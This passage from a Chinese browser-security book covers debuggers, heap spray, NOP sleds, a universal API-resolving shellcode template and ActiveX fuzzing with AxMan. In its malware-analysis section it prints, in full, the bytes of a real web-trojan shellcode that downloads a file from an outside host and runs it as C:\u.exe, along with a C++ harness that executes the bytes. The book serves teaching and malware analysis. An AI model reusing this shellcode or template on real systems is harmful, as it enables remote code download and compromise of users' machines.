使用“ub［地址］”命令可以查看指定地址位置之前的代码，使用“u［地址］”可以查看指定地址位置之后的代码。使用“uf［地址］”命令可以查看指定地址位置所在函数的完整反汇编代码。通过多次分析，可以逐步确定问题产生的原因。更多用法可以参考WinDbg自带的帮助文件，里面有所有WinDbg支持的命令和功能。

8.1.3　IDA的用法

IDA的全称是交互式反汇编器（Interactive Disassembler），是Hex-Rayd公司的一款产品。在笔者编写本章时，IDA的最新版本是6.8。相对于免费的WinDbg，IDA Pro有着更多的功能和丰富的UI元素。
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图8-6：IDA的Quick Start界面



在直接打开IDA后，IDA将提示“IDA：Quick Start”，让用户选择之前调试过的文件，或者你也可以单击“New”来反编译一个新文件，或者是单击“Go”直接进入IDA主界面。以单击“New”为例，单击后，IDA会提示选择一个将会被反编译的文件，然后IDA会提醒选择合适的类型，这里我们直接单击OK即可。

[image: ]
图8-7：IDA的加载文件界面



当用户分析单击后，如果使用到了绑定有调试信息的PE文件，IDA会提示是否使用微软默认的符号服务器，这个时候，只需要勾选“Don't display this message again”，然后单击“Yes”，以后遇到类似的文件时，IDA就会自动地从本地Symbol库和微软符号服务器来下载对应符号了。

[image: ]
图8-8：IDA提示是否自动连接微软符号服务器



通过IDA附加调试时，可以选择使用WinDbg调试引擎。这个调试引擎是由Windbg Plugin提供的，打开IDA，选择Debugger-Attach-Windbg debugger，然后选择需要附加的文件名，就可以附加调试了。

[image: ]
图8-9：IDA支持Windbg Debugger



在IDA中通过Windbg debugger引擎调试时，可以使用的命令和WinDbg支持的大体一致。例如你也可以通过.symfix来设置符号服务器，使用.sympath+可以追加符号配置，使用.reload可以重载符号等。使用Windbg debugger引擎调试时，IDA的窗口看起来类似于图8-10。

[image: ]
图8-10：IDA调试中



需要注意的是，在IDA的Windbg debugger模式下，你是不可以使用t、p等部分会影响程序走向的命令的。这些命令的功能被IDA自己的快捷键接管了，需要使用步入时，可以按下F7，使用步过时，需要按下F8。IDA的快捷键在Debugger菜单下可以查看到，常用的还有：F4——在光标所指位置设置断点，并运行到该处、F9——直接运行、F2——设置断点、Ctrl+F7——运行到返回等。

相比于动态调试，IDA的静态代码分析功能则更为强悍。以jscript9.dll为例，将DLL拖入IDA中，等待IDA分析完毕后，IDA左侧Functions window显示所有被IDA识别出的函数名和其参数列表。双击其中一个函数，例如Int32Math：：Mod（int，int，int*），然后在右侧的汇编窗口中按下Tab键，这个时候，IDA会显示该函数的“C形式的”伪代码，如图8-11所示。

这个函数的汇编代码经过IDA处理之后，显示为如下伪代码，我们可以清楚地知道这个函数的作用：将第一个参数a1与第二个参数a2求余，然后存储到a3中。a1、a2是有符号数，而a3是一个无符号数（DWORD）。这与余数的定义一致。

[image: ]
图8-11：IDA的伪代码窗口



char __fastcall Int32Math::Mod(signed int a1, signed int a2, int a3)
{
    *(_DWORD *)a3 = a1 % a2;
    return 0;
}


IDA的伪代码功能并不一定确保生成的代码是完全正确或是可编译的，如果遇到伪代码生成的信息看似有误时，还是需要对照汇编代码仔细阅读。但是无论如何，伪代码功能已经把代码分析工作大大简化了，一些简单的函数不再需要逐行看汇编代码了，按下一个Tab键就可以知道个大概，这在日常分析中还是极为有用的。




8.1.4　OllyDbg的用法

OllyDbg（下也简称“OD”）是一个32位的调试器，到2015年11月，OllyDbg的64位版本依然在开发中，这意味着你只可以使用它来调试32位程序。虽然OD授权协议表明它是一个共享软件，但是使用是免费的。它的官网地址是http://ollydbg.de，较新的版本是OllyDbg 2.01，也建议大家直接使用最新版。

相比于IDA和WinDbg，OD是三者中“图形化”程度最高的。在不安装任何插件时，使用OD来调试代码不需要输入任何指令，而只需要使用快捷键或是鼠标单击。这使得它上手迅速。使用OD调试代码时，窗口效果如图8-12所示。

[image: ]
图8-12：OllyDbg的界面



OD同样支持使用符号解析程序，相对于其他两个调试器，OD的解析的能力似乎并不处于优势。在配置中设置Use Microsoft Symbol Server=1后，OD将从微软的Symbol服务器下载符号。在函数解析时，OD在遇到某个不在符号中明确声明的地址时，会直接显示函数地址。对比WinDbg则会将某个地址解析为从一个已知函数的起始位置开始加上一个偏移量的形式，这可以让我们快速地知道这个地址的归属。

在代码调试时，OD也有一些优势。其一是OD会自动给你停在函数入口点（可以设置），Windbg和IDA默认则不会。其二是OD的着色系统。相比于其他两个调试器，OD的着色应当是最多样的了，而且OD默认附带了多种着色方案，可以方便地切换。

在代码调试过程中，OD的调试操作为：


	F7——步入；

	F8——步过；

	F2——设置断点，有断点的地址会显示红色；

	F9——执行程序，可以配合F2用，当程序执行到设置了断点的那句话时，会抛出一个调试器异常，被OD捕捉到，从而让程序的执行停在断点处；

	Ctrl+F9——执行到返回。执行到当前函数的RETN为止；

	F4——相当于F2+F9，先在选中行（光标处）下一个断点，然后再执行。



注意

如果你设置断点的位置是一行死代码（在设置断点之后，任何情况下程序都不会走到这一句），然后你又直接运行了程序，那么这个断点将永远不会被命中，程序也就不会被中断，即俗称“跑飞了”。这在任何调试中都是不想看到的情况，所以需要简单阅读分支后再设置断点。

在介绍完各调试器后，我们可以有选择地针对将被调试的对象来确定使用何种调试器。例如本书中将对简短的代码使用OllyDbg调试、对系统文件使用IDA做静态分析，以及使用WinDbg调试程序崩溃或流程。


	
调用栈即函数调用顺序，最上面的是最近调用的。因为与栈结构一样后进先出，所以称为调用栈。返回







8.2　与Shellcode的相关名词

在恶意网页利用浏览器漏洞时，一个重要的步骤便是使用权限相对低的JavaScript代码来获取操作系统的所有权。这个所有权的概念非常宽泛，通常例如执行一个程序、开启一个端口供黑客连接、提升用户权限等都可以视作取得了所有权。通常，JavaScript在浏览器漏洞利用中承担破坏原有正常流程的作用[image: 这里的改变也是一个宽泛的定义，例如JavaScript可以触发漏洞，并关闭浏览器的一些安全限制，让一些本来无法执行的JavaScript代码得以执行，这也可以看作是改变流程的一种。]

 ，如果JavaScript能将浏览器的执行流程引入到攻击者注入的代码中并成功执行，那么这就是一次成功的漏洞利用。


网马利用浏览器漏洞时，负责取得所有权的部分代码，便可称作“Shellcode”。利用浏览器漏洞时，Shellcode大部分都由机器码编写得到。Shellcode需要做到小巧、通用，一个经验丰富的Shellcode编写者能够写出精炼的Shellcode代码，对初学者而言，研究他人的代码也是一个不错的锻炼方法。

8.2.1　机器指令

与Shellcode关系最密切的是汇编语言。在介绍汇编语言之前，首先介绍一下机器语言。机器语言是机器可以正确执行的命令的集合。CPU负责解释机器语言，每一种微处理器都有自己的机器指令集，也即机器语言。

早期的程序使用纸带打孔来执行，后来改为高低电平来区分命令。但是如果只是写一串数字，程序将依然非常难以写和阅读，因此诞生了汇编指令。它是一种将机器指令记为便于记忆的书写格式的代码形式，可以说汇编指令只是一个“助记符号”，汇编指令和机器指令是一一对应的。在编写程序后，编译器解析文法并将汇编指令转换成机器指令，由计算机执行。而与之相反的过程，即从机器指令转换为汇编指令的过程称为反汇编。

例如图8-13是calc.exe的入口点[image: Entry Point，程序主函数开始的地方。]

 的反汇编形式。左边一列的代码便是机器操作码（机器码），右边则是汇编助记符（助记符）。例如机器指令6A 58代表PUSH 58，这条指令会把整数0x58压入栈空间中
 [image: 在32位程序中，占4个字节，实际存储的是0x00000058。]

 。


[image: ]
图8-13：calc的入口点



这些机器指令正是由OllyDbg从内存空间中读取并“翻译成”汇编指令的。如果内存中的数据没有经过编码，这些代码都可以在EXE文件中找到，例如图8-14中calc.exe文件0x12171处开始的6A 58便是图8-13中地址0x00802D71的指令PUSH 58机器码的由来。

[image: ]
图8-14：文件中对应的位置



8.2.2　控制关键内存地址

在本章最开头时，我们提到过要利用漏洞，JavaScript需要更改浏览器代码的执行流程。在浏览器中，常见的可以改变流程的方式则是：程序在释放某个对象之后，在某个时期又调用了这个已经被释放的对象的一个方法。这便是常见的“释放后使用”漏洞。

[image: ]
图8-15：对象的释放



在被释放后的对象原先所占据的内存将被视为可被再次分配的“空闲”内存时，如果JavaScript脚本能够申请到已经释放的内存，并且用恶意的代码填充这部分内存，这样，当这个对象被误调用时，执行的将是攻击者的代码。

[image: ]
图8-16：释放后使用



我们可以在VS中进行实验，删除一个对象后紧接着再申请大量内存并填充，然后调用该对象的某个成员函数，这时程序会在我们填充的内存上发生异常。

这种重复申请内存的方式也称作“堆喷射”（或：Heap Spray），这种称呼非常形象——攻击者申请大量堆上的内存空间，并用它们“喷射”满整片内存。

[image: ]
图8-17：在Visual Studio 2008中模拟堆喷覆盖一个已释放的类的虚表



8.2.3　NOP Slide

NOP Slide（或称Sled），指一组“空指令”代码，CPU执行这些空指令代码时，什么都不做，或是做一些不会对代码执行产生太大影响的内容。CPU一路执行下来，最终执行到铺设在空指令之后的有用代码上。前面的一排空指令看起来就像是让CPU一路“滑”到有用代码上一样，所以称作“Slide”（滑落，或者Sled：雪橇）。

假设有一个对象A，它的成员函数foo的地址可以通过某种方式被改写，恶意脚本将它的地址改为0x0c0c0c0c，当其他人调用A.foo（）时，系统将会调用0x0c0c0c0c处的代码。脚本通过喷射的方式占据0x0c0c0c0c地址。喷射完成后0x0c0c0c0c处附近安排有我们的shellcode，当然图中的数据只是为了演示，所以放了一堆A在里面。

[image: ]
图8-18：0x0c0c0c0c处的内存



0x0c0c的含义是or eax，0c，它只是会操作eax，一般不会产生什么大影响，所以作为NOP Slide是没有问题的。其他的例如0x0a0a0a0a，可以视情况使用（0x0a0a代表or cl，byte ptr[edx]，如果edx指向的内容可以正常访问则没有问题）。

假如CPU跳到了0x0c0c0c0c开始执行代码，那么它会不断执行or eax，0c；or eax，0c；……这些语句不会对结果产生影响，直到执行到0x0c0c0c5c时，才真正算执行了“有用的”代码。

8.2.4　Magic Number 0x8123

如果你想使用Visual Studio编译程序做简单的UAF试验，建议不要在2011之后的Visual Studio中去做，VS 2011中delete操作删除一个对象后，该对象的地址会被置为0x8123，导致难以复现上述现象。

至于0x8123这个值也许之后可能大家会在分析其他软件的时候发现，简单介绍一下微软的做法。

微软在VS11 Beta中引入了这个功能，使用0x8123来解决UAF的问题，它的处理方案是相当于将原来的delete p；一句话给扩展为两句：

delete p;
(void*)p = (void*)0x00008123;


正确的释放过程应当为delete p；p=NULL；，经过插入后将变为如下三句：




delete p;
(void*)p = (void*)0x00008123;
p = NULL;


在编译器眼里，这三句中，由于后两句都是给同一个变量赋常量值，因而又会被自动优化为两句：




delete p;
p = NULL;


如果程序员正确地编写了释放代码，VS插入的这句不会影响最终生成结果，而如果程序员忘记了p=NULL一句，最终结果将变为：




delete p;
(void*)p = (void*)0x00008123;


0x00008123位于Zero Pages（第0～15页，地址范围0x00000000~0x0000FFFF）中，如果被访问到会导致程序触发存取违例。相对于更加频繁出现的访问0x00000000造成的空指针引用崩溃，如果看到程序是因为访问0x00008123而崩溃，那么立马就应该知道是发生了释放后引用的问题。同时，由于被释放的指针的值被0x00008123覆盖，所以这个释放后使用的漏洞可能就会变得无法使用了。
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在32位程序中，占4个字节，实际存储的是0x00000058。返回







8.3　Shellcode的处理

要成功对用户进行攻击，网马需要对不同的操作系统做兼容处理。这是因为，不同操作系统中，系统动态链接库是不一样的，同样，内存分布也可能是不一样的。例如，Windows Vista之后[image: XP时代已经提出了ASLR的概念，但XP上的ASLR只是对PEB和TEB进行简单的随机化处理，只是将原先0x7FFDF000（PEB）、0x7FFDE000（TEB）两个固定地址随机了而已。可以说直到Vista出现后ASLR才真正变得“有用”。这包括映像随机化、堆栈随机化、PEB/TEB的随机化三类。]

 的操作系统支持地址随机化（ASLR）。操作系统在启动时确定一个随机地址，并会对程序映像的虚拟地址进行随机处理。如果攻击者硬编码一个地址，即使是遇到不支持ASLR的老旧的操作系统，也可能会因为操作系统补丁版本的不同、操作系统语言的不同、操作系统中其他环境因素的差异导致攻击失败。


为了保证最大利益，攻击者需要实现通用的Shellcode。这意味着攻击者需要在Shellcode中动态获取系统的API的地址。这样做的话，Shellcode的通用性会大大加强，攻击时也不需要为了各种操作系统的情况大费周章编写多个版本的Shellcode了。让我们先介绍一下通用Shellcode的实现方式。

8.3.1　实现通用的Shellcode

EXE文件在载入到内存中时，它的段寄存器FS：[0]指向进程的TEB[image: 线程环境块（Thread Environment Block），当前线程的TEB地址位于FS:[0]。]

 结构，在TEB偏移0x30处是PEB
 [image: 进程环境块（Process Environment Block），保存当前进程的环境信息，当前进程的PEB地址位于FS:[0x30]。]

 指针，通过这个指针（FS：[0x30]）即可读取PEB存储的相关信息。在WinDbg中输入dt ntdll！_TEB可以查看TEB的结构。


[image: ]



PEB保存了进程加载信息，在WinDbg中使用dt ntdll！_PEB可以查看到PEB的结构。PEB中有一个名为Ldr
 [image: 意即“Loader”。]

 的结构指针，对我们制作通用Shellcode非常重要的。这个结构指针名为PEB_LDR_DATA，它指向进程的“模块
 [image: 指PE格式的可执行映像。]

 ”队列。


[image: ]
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这里的_PEB_LDR_DATA结构如下所示，它包含有3个ModuleList的指针，其中一个InInitializationOrderModuleList是初始化队列，它保存着动态链接成功的模块。为何我们对这个队列结构情有独钟呢？那是因为进程初始化时，目标EXE映像载入后，必须先依次载入ntdll.dll、kernelbase.dll、kernel32.dll。但是，Windows XP并没有kernelbase.dll。因此XP下加载顺序是EXE映像载入后依次载入ntdll.dll、kernel32.dll。
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在Windows 7下对某个进程的InInitializationOrderModuleList进行查看，模拟遍历这个列表，列表各项偏移+0x0处的第一个DWORD是下一项的地址，+0x8处的DWORD是该项代表的模块的起始地址，而+0x20处则是一个字符串指针，指向该项代表的模块名称。




因此，如果找寻kernel32.dll时遇到了之前所说的Windows XP和Windows Vista以上系统kerenelbase.dll是否存在的差异问题，无法确定kernel32.dll在列表中的顺序时，就可以通过检查模块名称来解决。比较名称时，为了缩短Shellcode代码，可以采用简单的方式，因为前三项必然会有kernel32.dll出现，因此只要检查一个kernel32.dll和ntdll.dll与kerenelbase.dll名称上不同的地方就可以了。常见的方式是检查第七个字符是否是“3”，这样既可以解决问题，也可以避免各系统中模块名大小写不同在判定时产生的复杂性。
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使用WinDbg命令lm a[地址]可以查看地址对应的模块名称。在笔者机器的某个进程中，0x003f5760是第一个项的地址，让我们手动依次模拟遍历一次。
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如果我们的Shellcode也模拟遍历一遍，那么我们就可以找到每个进程中kernel32.dll的起始位置，这个位置也是PE文件“MZ”头的起始位置。




0:000> db 77870000
77870000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
77870010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
77870020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
77870030  00 00 00 00 00 00 00 00-00 00 00 00 e8 00 00 00  ................
77870040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
77870050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
77870060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS 
77870070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.……









可能到这一步大家也知道接下来要做什么了，那就是依据这个地址来找到文件的导出函数列表。只要在导出表中找到了我们需要的函数，并用它的偏移加上文件起始地址，那便是这个函数在内存中的位置。




[image: ]
图8-19：导出表



我们简单检验一下，例如笔者电脑上的kernel32.dll的AddAtomA函数的偏移是0x2ED3E，加上起始位置后，可以知道AddAtomA在当前进程中地址应当为0x7789ED3E，让我们在WinDbg中输入x kernel32！AddAtomA，可以看到，WinDbg返回的该函数位置确实与我们计算的一致。
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至此，我们的任务将转为：如何获取导出函数的偏移位置？在了解PE文件结构后可以得知，如果文件确定是PE文件，那么从它的开头开始+0x3C处是一个偏移量（e_lfanew），它表示PE Header的偏移位置。
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找到PE Header后，从这个地方开始+0x78的位置便是导出表的指针的偏移，例如笔者机器上这个位置显示偏移地址是0x000bff70。
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根据微软winnt.h头文件的定义，导出表偏移+0x20处是AddressOfNames，这里存储着导出表中所有有名称的导出函数的函数名。




typedef struct _IMAGE_EXPORT_DIRECTORY {
     DWORD   Characteristics;           //+0x0
     DWORD   TimeDateStamp;             //+0x4
     WORD    MajorVersion;              //+0x8
     WORD    MinorVersion;              //+0xA
     DWORD   Name;                     //+0xC
     DWORD   Base;                     //+0x10
     DWORD   NumberOfFunctions;        //+0x14
     DWORD   NumberOfNames;              //+0x18
     DWORD   AddressOfFunctions;        // RVA from base of image, +0x1C
     DWORD   AddressOfNames;           // RVA from base of image, +0x20
     DWORD   AddressOfNameOrdinals;    // RVA from base of image, +0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;


让我们读取导出表的指针偏移+0x20的位置，这里第一个DWORD便是导出函数的地址的列表。




[image: ]



通过这个列表，我们就可以遍历kernel32.dll中的所有有名称的导出函数了。在找到所需函数位于名称列表的第几位（例如，第n位）后，我们需要在导出表的指针偏移+0x24（AddressOfNameOrdinals）开始，加上（n-1）*2个字节，这是因为函数导出的序数（Ordinal）是以WORD类型存储的，每个WORD 2字节。




例如，在上述代码的基础上，我们发现了AddAtomA函数位于导出表第4个的位置上，因此我们从导出表偏移+0x24处开始，加上（4-1）*2=6字节，得知它的导出序数是5。
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在得到序数5之后，回到位于导出表偏移+0x1C（AddressOfFunctions）的函数地址列表中，取出第一个DWORD，这是导出函数地址的偏移。将这个偏移加上序数*4
 （即DWORD的长度），即可取出对应函数的地址偏移。然后，用函数的地址偏移加上PE文件的起始地址，便是函数地址。例如笔者的例子中，相加后正是函数kerenel32！AddAtomA的起始位置。
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以上便是实现一个通用的Shellcode的思路。通过这个方式，我们可以在不同系统上通过同样的方式找到我们需要的函数地址。以下是一个无NULLCHAR的通用的获取kernel32.dll中API地址的代码。最终获取到的地址会保存在edi寄存器中。




0x00:
+000 31d2          xor    edx,edx
+002 b230          mov    dl,30h
+004 648b12        mov    edx,dword ptr fs:[edx]
+007 8b520c        mov    edx,dword ptr [edx+0Ch]
+00a 8b521c        mov    edx,dword ptr [edx+1Ch]
     
0x0d:
+00d 8b4208        mov    eax,dword ptr [edx+8]
+010 8b7220        mov    esi,dword ptr [edx+20h]
+013 8b12          mov    edx,dword ptr [edx]
+015 807e0c33      cmp    byte ptr [esi+0Ch],33h
+019 75f2          jne    0x0d 
 
0x1b:
+01b 89c7          mov    edi,eax
+01d 03783c        add    edi,dword ptr [eax+3Ch]
+020 8b5778        mov    edx,dword ptr [edi+78h]
+023 01c2          add    edx,eax
+025 8b7a20        mov    edi,dword ptr [edx+20h]
+028 01c7          add    edi,eax
+02a 31ed          xor    ebp,ebp
 
0x2c:
+02c 8b34af        mov    esi,dword ptr [edi+ebp*4]
+02f 01c6          add    esi,eax
+031 45            inc    ebp
+032 813eXXXXXXXX  cmp    dword ptr [esi], XXXXXXXXh 
;要比较的函数名






+038 75f2          jne      0x2c (+02c)
 
0x3a:
+03a 8b7a24        mov     edi,dword ptr [edx+24h]
+03d 01c7          add      edi,eax
+03f 668b2c6f      mov      bp,word ptr [edi+ebp*2]
+043 8b7a1c        mov      edi,dword ptr [edx+1Ch]
+046 01c7          add      edi,eax
+048 8b7caffc      mov      edi,dword ptr [edi+ebp*4-4]
+04c 01c7          add      edi,eax
+04e API地址存在了





edi中，后续调用请根据需要编写








上述代码对应的机器指令如下（\xXX部分请换成你要判断的字符串对应的ASCII值，只允许有4个字节）：
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8.3.2　调试网马中的Shellcode

接下来，让我们开始调试网马中的Shellcode。要在程序中调试Shellcode相当简单。打开Visual Studio或其他可编译C++程序的编译器，在其中输入如下代码。

#include "stdafx.h"
#include <windows.h>

CHAR* szShellcode = "\x90\x90\x90\x90";

int   tmain(int argc, _TCHAR* argv[])
{
      asm
    {
          int 3
          jmp szShellcode
    }
return 0;
}



然后设置工程属性，关闭DEP后（如果不关闭DEP，系统是不会允许它执行的）编译EXE，并使用WinDbg打开。直接按下g，程序会在我们设置的int 3处断下。按两下p跳到“Shellcode”开头。




[image: ]
图8-20：Windbg中停在int 3处



使用u.即可看到我们指定的4个\x90。

0:000> u .
testShellcode!`string':
00c1573c 90         nop
00c1573d 90         nop
00c1573e 90         nop
00c1573f 90         nop


以上是“热身运动”，现在让我们将正式的代码放入szShellcode变量中，再重新编译。我们使用一段来自网马中的代码。




\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF\x68\x74\x74\x70\x3a\x2f\x2f\x68\x61\x6f\x78\x69\x61\x31\x38\x2e\x63\x6f\x6d\x2f\x78\x69\x61\x2f\x66\x35\x2e\x63\x73\x73\x00\x00


将上面这串内容放到szShellcode中，然后编译。上述代码会下载一个木马程序并运行。但是里面下载的木马网址已经不能访问了，所以可以安心调试。但是为了安全起见，平时的分析还是在虚拟环境（如虚拟机）中调试比较好。让我们把生成的EXE放入虚拟机，然后使用调试工具进行调试。这里笔者采用OllyDbg 2.0进行调试。




直接运行我们的EXE，程序会停在我们设置的INT3处。按下F8进入szShellcode中。

[image: ]
图8-21：即将跳转到szShellcode中



对比Shellcode的前几个字节，可以发现这正是我们提供的Shellcode，确认无问题后让我们继续调试。

[image: ]
图8-22：szShellcode的开头



按下F8，让Shellcode跳转到逻辑最开头。在章节前我们就提到了这些“神奇”的数字，在这个Shellcode中也如数见到了，如图8-23所示，Shellcode也走了这一套通用的逻辑，从PEB→_PEB_LDR_DATA→_LIST_ENTRY再获取函数地址：

然后，程序调用0x0041ba62处的函数，在调用前将一个奇怪的数字0xec0e4e8e移动到了EDI寄存器中。让我们再仔细查看0x0041ba62函数的内容，可以看到该函数正在做遍历函数名的操作，并且对每个函数名都进行哈希运算（图8-24的0x41ba81~0x41ba84）。

[image: ]
图8-23：程序正准备查找函数



哈希运算方式是先将保存结果的EBX右循环移0x0D位（ROR[image: 右循环移位指令[ROR OPRD,m]。将由OPRD指定的寄存器或存储器操作数循环右移m所指定的次数，每右移一次，把操作数的最低位同时移入CF和操作数的最高位。]

 EBX，0D），然后再加上当前处理字符的ASCII值。当一个函数的名称取到最后一个字符（即\0）时，比较哈希值和外面传给EDI的这个预期结果值是否一致，如果一致就退出循环，否则再继续搜索下一个函数名。
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图8-24：Shellcode中的循环



循环退出后，函数会继续在导出表中计算得到函数在内存中的真实地址。

[image: ]
图8-25：Shellcode正准备计算函数地址



第一个CALL调用后，Shellcode得到了LoadLibraryA的地址。

[image: ]
图8-26：Shellcode得到了函数地址



返回后，程序调用LoadLibraryA（"urlmon.dll"）；来加载该DLL。

[image: ]
图8-27：加载DLL



继续跟踪，可以发现程序调用urlmon！URLDownloadToFile来下载恶意文件http://haox**.com/xia/f5.css并保存到C：\u.exe。

[image: ]
图8-28：Shellcode正在下载文件



然后，程序用同样的方式获取WinExec函数的地址，并调用WinExec执行C：\u.exe以启动木马文件。

[image: ]
图8-29：Shellcode获取WinExec的地址



[image: ]
图8-30：Shellcode执行C：\U.exe



在木马文件启动成功之后，Shellcode的目的也达到了，Shellcode获取地址并调用ExitProcess（0）；结束当前进程。
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图8-31：Shellcode准备退出进程



这个网马所使用的简单Shellcode的调试到此为止。浏览器中的网马也是万变不离其宗的，和脚本调试一样，即使遇到看似难解的Shellcode（例如Shellcode内有加密），只需耐心阅读，找到Shellcode中的“解密-执行”模式，调试后一定可以梳理清整个代码的走向。


8.4　本章小结

在本章中，我们介绍了调试工具的用法，了解了调试符号的作用，并介绍了WinDbg、IDA和OD三款优秀的调试分析工具的基本操作。可以根据自己的喜好和使用熟练程度选择合适的调试软件进行分析。

然后，我们转向Shellcode分析。我们介绍了攻击中常用的NOP Slide，它的作用是像雪橇一样，将CPU引导至真正起到攻击作用的代码上。还介绍了新的编译器在编译程序时防止程序发生释放后使用的手段。

最后，我们介绍了编写通用Shellcode的方式，给出了一组Shellcode模板和测试用的C++代码，将网马中使用的Shellcode放置到测试用的程序中并调试，最终了解了整个网马使用的Shellcode的工作流程。


第3篇　深度探索浏览器漏洞


	漏洞的挖掘

	网页的渲染

	漏洞的分析

	漏洞的利用




9　漏洞的挖掘

9.1　挖0day

从现在开始，我们将正式开始漏洞的挖掘工作。浏览器本身是一个庞大的系统，如果没有针对性地使用脚本来触发漏洞，触发的概率可谓是微乎其微。这之中也牵扯到需要重复地进行试错工作，这是一个枯燥而又耗时的工作，因此，更优的选择应当是将这些工作交给Fuzzer程序去做。

目前在互联网上已经有许多免费甚至开源的Fuzzer平台以及示例代码可以使用。在某些环境下，这些Fuzzer提供的示例代码就已经可以起到很好的Fuzz作用，但是这些示例代码已经在许多人的机器上跑过，可能潜力已经不足。因此，如果需要挖掘出更深层的漏洞，可能还需要手动修改一下Fuzz代码，使得它们更适合新的环境。

9.1.1　ActiveX Fuzzer的原理

首先让我们从规模相对小的ActiveX插件开始。在系统中，可能存在有数以千计的ActiveX插件。每个插件可以视为一个独立的二进制程序，它们只是借助于IE的内存空间去发挥各自的作用。

相对于IE来说，ActiveX发生问题之后定位起来要容易一些。ActiveX可以简单地认为是提供属性和方法这两类可被脚本直接调用或处理的二进制程序。这也是ActiveX接受用户输入的主要途径之一。

要确定系统中安装了哪些ActiveX，一个通用的做法是枚举注册表中HKLM\Software\Classes\CLSID下的所有CLSID，CLSID注册表中的默认值和ProgID下的值分别是这个插件的描述和ProgId。

知道了安装的ActiveX列表后，Fuzzer将通过如下方式确定ActiveX支持的方法以及属性：


	先创建实例并查询其IObjectSecurity接口。

	如果实现了这个接口，查询是否设置了Safe for init和Safe for script位。

	调用IDispatch中的GetTypeInfo以获取ITypeInfo接口[image: ITypeInfo接口提供了获取成员函数、成员变量、通用属性（是否定义了一个结构体、一个接口等）定义的能力。]

 用来展开相关的内容。

	对TypeInfo调用GetDocumentation以获取函数数量，然后对各个函数调用GetFuncDesc以获取函数描述，进一步就可以获得函数名、返回值、参数数量和参数。



在获取到支持的所有函数或参数后，Fuzzer会尝试性地使用边界值[image: 对输入或输出的边界值进行测试的一种黑盒测试方法。例如传入整数0xffffffff±1（DWORD的最大值附近）、0xffff±1（WORD的最大值附近）、0xff±1（BYTE的最大值附近）、0±1（bool的取值范围）、256±1字节的字符（惯用值0x100）、260±1字节的字符（常量MAX_PATH）等。]

 和不同类型的值（例如传入一个无用的对象、匿名函数、空值、格式化字符串、URL等）对目标进行黑盒测试。大部分Fuzzer的目标是使被测试对象发生崩溃。而少部分则还会兼顾逻辑问题，例如是否可能影响本地文件等。


9.1.2　使用AxMan Fuzzer来Fuzz ActiveX插件

在ActiveX Fuzz的历史中不乏有类似COMRaider这样“奠基者”一般的优秀Fuzzer，它的UI制作较好，操作简单，但是实际测试起来Fuzz效果并不是十分好。在此，我们将使用另一个开源Fuzzer——AxMan Fuzzer来演示。

在笔者的测试中AxMan Fuzzer产生崩溃的数量是相当多的，在对笔者计算机的ActiveX进行扫描之后，产生了二十多个崩溃。接下来的章节中我们将介绍如何判断某个崩溃是否可以认定为漏洞或有风险，以及针对崩溃的分析和利用。

前往AxMan Fuzzer的Github项目主页[image: https://github.com/hdm/axman]

 可以下载这款Fuzzer。下载后解压到本地，然后在cmd中进入axman-master\bin\，执行axman[配置输出目录]，即可让axman去枚举所有的ActiveX。枚举出的内容会生成到上面指定的输出目录中，因此建议新建一个目录专门用于保存AxMan输出的内容。


[image: ]
图9-1：axman的命令行一般没有输出



在开始执行后，AxMan可能不会输出任何信息，请耐心等待，其间由于AxMan不停地创建实例，因此在实例化的过程中可能有ActiveX相关联的程序被启动，这个时候不用理会。为了不干扰工作，建议AxMan Fuzzer执行时和后续Fuzz时全部在虚拟机中执行。

等AxMan全部执行完成时，你将会看到在指定的目录中生成了几千个js文件，这些js文件中存储了系统中ActiveX插件的方法和属性等信息，稍后进行Fuzz的时候我们会用到这些信息。

让我们在本地配置Web服务器来让AxMan Fuzzer正常运行。打开控制面板，找到“程序和功能”下的“打开或关闭Windows功能”，打开“Internet信息服务”。这时，计算机将会在本地开启Web解析，Web服务的默认位置位于%SystemDrive%\inetpub\wwwroot。确认在浏览器中可以访问http://127.0.0.1/之后，将AxMan生成的js文件全部复制到wwwroot下的/conf目录中。然后，将axman-master\html下的所有文件复制到wwwroot/下，确保文件夹看起来像是：

[image: ]
图9-2：AxMan Fuzzer的文件结构



之后，启动IE浏览器，访问http://127.0.0.1/index.html，如果Fuzzer界面无法正常显示或工作，可以将127.0.0.1添加到IE的兼容性列表中。在一切都完成后，就可以开始Fuzz了，指定Start Index（如0），然后单击“Start”按钮，即可等待AxMan逐个Fuzz了。

[image: ]
图9-3：AxMan Fuzzer在浏览器中的样子



